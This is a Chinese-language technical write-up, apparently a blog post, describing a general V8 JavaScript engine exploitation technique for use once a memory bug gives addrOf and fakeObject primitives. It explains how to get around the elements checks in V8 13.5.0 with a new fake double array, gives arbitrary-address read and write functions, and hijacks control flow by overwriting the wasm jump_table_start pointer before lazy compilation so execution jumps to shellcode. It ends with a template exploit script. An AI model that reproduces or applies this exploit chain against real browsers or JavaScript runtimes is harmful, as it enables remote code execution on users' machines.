FakeArray 新构造与劫持 Wasm LazyCompile 实现通用控制流劫持
前言
本文探讨在 V8 引擎中实现通用控制流劫持的技术,主要关注在已经能够通过漏洞实现 addrOf() 和 fakeObject() 原语后,如何最终实现程序流完整控制的通用手法。
elements 结构校验
问题背景
传统 fake_array 构造方式在 V8 13.5.0 版本中会遇到 elements 结构校验问题,导致利用失败。
代码逻辑分析
-
获取 JSArray 对象的 map:
ElementsKind kind = map(cage_base)->elements_kind();获取 JSArray 对象的 map 并返回 elements 应有的类型。
-
获取 elements 中存储的 map:
Tagged<FixedArrayBase> fixed_array = UncheckedCast<FixedArrayBase>( TaggedField<HeapObject, kElementsOffset>::load(cage_base, *this)); Tagged<Map> map = fixed_array->map(cage_base);从 JSArray 对象的偏移量
kElementsOffset处加载 elements 指针,然后获取 elements 的 map。 -
CHECK() 校验 elements->map:
根据 JSArray 对象的 map 进入对应分支,对 elements 的 map 进行严格校验。
结论
在存在 VERIFY_HEAP 和 DEBUG 时,需要目标地址有合适的 elements 结构(map 和 length),传统 fake_array 构造方式不再适用。
JSTypedArray 利用
结构分析
JSTypedArray 对象包含关键指针:
data_ptr:指向真实数据存储内存空间base_pointer:存储在偏移 0x38 位置(4 字节堆内压缩指针)external_pointer:存储在偏移 0x30 位置(8 字节原始指针)
关系:data_ptr = base_pointer + external_pointer
两种存储模式
-
内联存储(inline elements):
- 小容量 TypedArray
- 数据直接放在 TypedArray 的 elements 字段中
backing_store指针为空
-
外部存储(external):
- 大容量 TypedArray
data_ptr指向buffer对象的backing_storeexternal_pointer为完整指针base_pointer为 0
利用思路
控制 base_pointer 和 external_pointer 的值,可以控制 data_ptr 指针指向任意 64bit 地址,实现原始指针范围内的任意地址读写。
全新的 fake_array 构造
构造步骤
-
伪造 doubleArray 和对应 elements:
var fake_double_array = [ double_array_map, // map int_to_float(0), // properties int_to_float(0x6c), // elements (offset to fake elements) int_to_float(0x7), // length ... // other fields ]; var fake_elements = [ fixed_double_array_map, // map int_to_float(0x100), // length int_to_float(0), // buffer[0] ... // other elements ]; -
覆盖 fakeobj.elements:
// Overwrite fake_double_array's elements pointer fake_double_array[2] = int_to_float(fake_double_array_addr + 0x10); -
fake_obj 越界读写:
- 在附近堆区域创建 JSTypedArray
- 计算偏移进行越界读写
AAR & AAW 实现
// 任意地址读
function aar64(addr) {
fake_double_array[2] = int_to_float(addr - 0x10);
return float_to_int(fake_elements[0]);
}
// 任意地址写
function aaw64(addr, value) {
fake_double_array[2] = int_to_float(addr - 0x10);
fake_elements[0] = int_to_float(value);
}
程序流控制
WASM 函数调用流程
- 首先调用
Function.Code.instruction_start内容 - 进入
JSToWasmWrapper封装函数 - 调用
Builtins_JSToWasmWrapperAsm() - 初次调用时进行 Lazy Compilation
Lazy Compilation 关键点
-
Builtins_WasmCompileLazy执行后:- 将真实 wasm 代码写入内存
- 修改
jump_start_table地址的 jmp 命令
-
函数结束时从
WasmInstanceObject => trusted_data => jump_start_table读取内容并跳转
利用方法
- 在函数初次调用前更改
jump_start_table指针 - Lazy Compilation 完成后会从篡改过的指针跳转
- 跳转到精心构造的 shellcode 地址
关键优势:
- JSToWasmWrapper 不从
WasmInstanceObject读取jump_start_table - Lazy Compilation 只依赖函数索引
- 仅在最后阶段使用被篡改的指针
总结模板代码
// 1. 构造 fake_array
var fake_double_array = [...];
var fake_elements = [...];
// 2. 实现 AAR/AAW
function aar64(addr) {...}
function aaw64(addr, value) {...}
// 3. 准备 WASM 环境
var wasmInstance = new WebAssembly.Instance(...);
// 4. 获取 WASM 相关地址
var wasmInstanceAddr = addrOf(wasmInstance);
var jumpTableStartAddr = wasmInstanceAddr + 0x68; // 偏移需确认
// 5. 篡改 jump_table_start
aaw64(jumpTableStartAddr, shellcodeAddr);
// 6. 首次调用 WASM 函数触发执行流劫持
wasmInstance.exports.main();
这种技术提供了一种通用的控制流劫持方法,适用于多种 V8 利用场景。